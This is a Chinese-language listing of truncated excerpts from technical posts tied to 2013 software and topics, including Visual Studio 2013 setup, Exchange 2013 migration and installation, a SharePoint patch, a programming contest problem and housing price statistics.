ActiveReports 9实战教程(1): 手把手搭建好开发环境Visual Studio 2013 社区版

ActiveReports9刚刚公布3天.微软就公布了 Visual Studio Community 2013 开发环境. Visual Studio Community 2013 提供完整功能的 IDE ,可开发 Windows.Android 和 iOS 应用.支持:C++, Python, HTML5, JavaScript, 和 C#,VB, F# 语言的开发.提供设计器.编辑器.调试器和诊断工具. 最牛逼的在于你全然能够免费使用该工具: 能够正大光明的免费使用visual studi

Exchange 2013迁移SOP手册

Exchange 2013迁移SOP手册 阶段1:环境部署 OUTLOOK升级方式 统计版本低于SP3的OUTLOOK客户端信息 记录计算机在域中所在OU信息 域中创建临时升级用OU,如MAILUPGRADE 采用如下命令移动计算机到MAILUPGRADE OU dsmove "CN=Aidong Qi,OU=Users,OU=TESTP,OU=Hitech,DC=hitechad,DC=com" -newparent OU=MAILUPGRADE,DC=hitechad,DC=com

Install Exchange Server 2013 on Windows Server 2008

OS 要求 Exchange Server 2013可以部署在Windows Server 2012的平台也可以部署在Windows Server 2008 R2的平台.如果部署在Windows Server 2008 R2平台要求操作系统版本为Windows Server 2008 R2 SP1的版本? 安装服务器角色 : PowerShell中执行如下命令 , 打开Windows PowerShell 运行如下命令来加载服务器管理器模块 ? Import-Module ServerMana

bzoj-3170 3170: [Tjoi 2013]松鼠聚会(计算几何)

题目链接: 3170: [Tjoi 2013]松鼠聚会 Time Limit: 10 Sec  Memory Limit: 128 MB Description 有N个小松鼠,它们的家用一个点x,y表示,两个点的距离定义为:点(x,y)和它周围的8个点即上下左右四个点和对角的四个点,距离为1.现在N个松鼠要走到一个松鼠家去,求走过的最短距离. Input 第一行给出数字N,表示有多少只小松鼠.0<=N<=10^5下面N行,每行给出x,y表示其家的坐标.-10^9<=x,y<=10^

第三周作业:Visual Studio 2013

在装Visual Studio 2013的时候,提示我升级我的电脑,不然不给安装,于是我就各种升级,完事之后有了这个: 在我耐心的等待之下终于等到安装完成: 我就建立一个新的项目: 我就写了一个简单程序进行测试: 测试用例并且测试成功: 这就是本次作业的全部过程!!!!!!!!!!!!!!!

SharePoint 2013 日历视图兼容性问题

在IE11上访问SharePoint 2013 calendar视图,发现加入兼容性视图以后访问,正常,如下图: 不加入兼容性视图IE11访问,出现兼容性问题,如下图: 因为有些环境有问题,有些环境没有问题,对比了一下,发现打补丁kb3054792,打完补丁,重启即可: 补丁地址:http://www.microsoft.com/zh-cn/download/details.aspx?id=47055 特别的,在解决这个问题之前的疯狂谷歌过程中,发现也有类似情况,要么加入兼容性视图,要么开启浏览

【国家统计局】2013年6月份-2014年5月份70个大中城市住宅销售价格变动情况

2014年5月份70个大中城市住宅销售价格变动情况 http://www.stats.gov.cn/tjsj/zxfb/201406/t20140618_569655.html (一)与上月相比,70个大中城市中,价格下降的城市有35个,持平的城市有20个,上涨的城市有15个.环比价格变动中,最高涨幅为0.3%,最低为下降1.4%. (二)与去年同月相比,70个大中城市中,价格下降的城市有1个,上涨的城市有69个.5月份,同比价格变动中,最高涨幅为11.3%,最低为下降4.8%. -------

Visual Studio 2013 无法使用:在文件中查找(Ctrl+Shift+F)

最近遇到一个问题就是在win7(32位.64位都试过)上安装Visual Studio 2013(专业版.旗舰版都试过)之后,打开项目,使用:在文件中查找(Ctrl+Shift+F)功能时,会突然奔溃. 后来,突然想到在安装的时候,右键,以管理员身份安装. 于是,尝试了一下,搞定!

Office word 2013中直接调用MathType的方法

Office word 2013中直接调用MathType的方法 | 浏览:4403 | 更新:2014-02-20 14:45 | 标签: word 使用Office word 2013的用户肯定早已注意到在编辑文档时MathType无法直接调用,但是点击文档中的公式时能够跳出MathType的公式编辑窗口.其实,这一问题可以通过简单设置让 MathType 集成到Office Word 2013中. 工具/原料 Office word 2013软件.MathType软件 方法步骤 安装Mat